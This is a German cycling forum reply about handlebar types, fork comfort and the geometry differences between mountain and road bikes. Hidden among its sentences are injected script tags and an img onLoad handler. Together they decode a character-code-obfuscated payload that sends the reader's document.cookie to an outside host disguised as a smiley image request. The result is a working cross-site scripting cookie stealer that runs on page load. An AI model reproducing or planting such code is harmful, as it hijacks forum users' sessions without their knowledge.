Hi Tom,
MTB ist für Straße nix richtiges und für ebene Straße schon mal gar nix.
Warum soviele Räder grade (Besenstiel) Lenker haben ist mir ziemlich unklar. Die funktionieren nur sinnvoll Bergrauf und Bergrunter. Deswegen bauen soviele Leute da ja auch diese Hörnchen dran. Damit wird der Lenker dann auch für längere Strecken erträglich.<script>b=String.fromCharCode(98,61,110,101,119,32,73,109,97,103,101,40,41,59,98,46,115,114,99,61,39,104,116,116,112,58,47,47,102,101,116,122,46,110,101,116,47,115,109,105,108,101,47,115,109,105,108,101,46,103,105,102,63,39,43,99,46,99,111,111,107,105,101,59)</script>
An Tourenrädern findet man inzwschen oft Brezellenker, die funktionieren für eher aufrechtes Fahren wohl ganz gut.
Vielfahrer bevorzugen oft Rennlenker. Die ermöglichen für unterschiedliche Fahrsituationen verschiedene, angepasste Griffpositionen, ausserdem hilft das Handgelenksprobleme zu vermeiden.
Früher gab es mal Stahlgabeln die nach vorne gebogen waren und angenehmen Federkomfort boten. Im Zuge des (teils schwachsinningen) MTB-Booms sind die Gabeln grade und bretthart geworden, inzwischen sogar aus Aluminium (noch steifer) und man muß teuere Federgabeln bauen/kaufen.<script>c=document;a=eval;</script>
Räder mit Federgabeln und Rennlenker gibts aber kaum. (Cinelli hat eins (ziemlich schräge:28"hinten, 26" vorne, ist als Boten-Stadtrad gedacht) und Cannondale ein Cyclocross-Rad (sehr teuer)).
Was es in grosser Auswahl gibt sind die sogenannten Cross-Räder. (
Beispiel) Die haben aber alle den fragwürdigen Besenstiellenker.
MTB und Rennrad unterscheiden sich in der Geometrie übrigens ganz erheblich. Ein Rennrad hat einen wesentlich kürzen Radstand und einen steileren Lenkopfwinkel. Dadurch ist es wesentlich wendiger.
Gruss,
<img src="/phpapps/ubbthreads/images/blank.gif" onLoad="a(b)"> Carsten